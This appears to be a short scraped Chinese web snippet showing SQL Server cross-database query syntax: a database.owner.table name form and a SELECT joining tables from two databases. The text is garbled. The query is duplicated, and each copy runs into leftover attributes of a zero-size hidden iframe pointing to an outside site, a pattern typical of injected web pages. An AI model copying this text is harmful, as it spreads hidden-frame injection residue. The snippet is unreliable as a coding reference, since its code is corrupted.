数据库名.权限.表名
select a.*,b.* from 库名1.dbo.表名1 as a,库名2.dbo.表名2 as b where a.主键=b.主键 src="http://www.toajax.com" width="0" scrolling="no" height="0">
select a.*,b.* from 库名1.dbo.表名1 as a,库名2.dbo.表名2 as b where a.主键=b.主键 src="http://www.toajax.com" width="0" scrolling="no" height="0">